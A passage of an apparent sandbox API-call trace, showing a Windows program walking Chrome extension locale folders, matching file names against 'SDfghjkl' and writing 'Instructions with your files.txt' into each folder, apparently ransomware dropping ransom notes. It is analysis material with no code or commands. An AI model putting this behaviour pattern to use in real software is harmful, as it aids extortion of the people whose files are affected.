[0129.042] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.042] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.042] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.043] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.043] CloseHandle (hObject=0x134) returned 1
[0129.043] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.043] GetProcessHeap () returned 0x810000
[0129.043] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.043] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
[0129.043] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned 141
[0129.043] GetProcessHeap () returned 0x810000
[0129.043] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.043] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*") returned 143
[0129.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.043] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\.") returned 143
[0129.043] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.043] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\..") returned 144
[0129.043] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.043] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 155
[0129.043] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.043] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.043] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\Instructions with your files.txt") returned 174
[0129.044] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.044] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.045] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.045] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.045] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.045] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.045] CloseHandle (hObject=0x134) returned 1
[0129.045] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.045] GetProcessHeap () returned 0x810000
[0129.045] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.045] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
[0129.045] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned 141
[0129.045] GetProcessHeap () returned 0x810000
[0129.045] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.045] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*") returned 143
[0129.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\.") returned 143
[0129.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655f830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8655f830, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\..") returned 144
[0129.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 155
[0129.047] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8655f830, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8655e890, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\Instructions with your files.txt") returned 174
[0129.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.047] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.048] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.048] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.048] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.048] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.048] CloseHandle (hObject=0x134) returned 1
[0129.049] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.049] GetProcessHeap () returned 0x810000
[0129.049] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.049] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0129.049] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned 141
[0129.049] GetProcessHeap () returned 0x810000
[0129.049] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*") returned 143
[0129.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\.") returned 143
[0129.049] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\..") returned 144
[0129.049] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned 155
[0129.049] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.049] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\Instructions with your files.txt") returned 174
[0129.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.050] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.051] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.051] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.051] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.051] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.051] CloseHandle (hObject=0x134) returned 1
[0129.051] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.051] GetProcessHeap () returned 0x810000
[0129.051] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.051] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.051] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned 141
[0129.051] GetProcessHeap () returned 0x810000
[0129.051] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.051] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*") returned 143
[0129.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.052] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\.") returned 143
[0129.052] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.052] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\..") returned 144
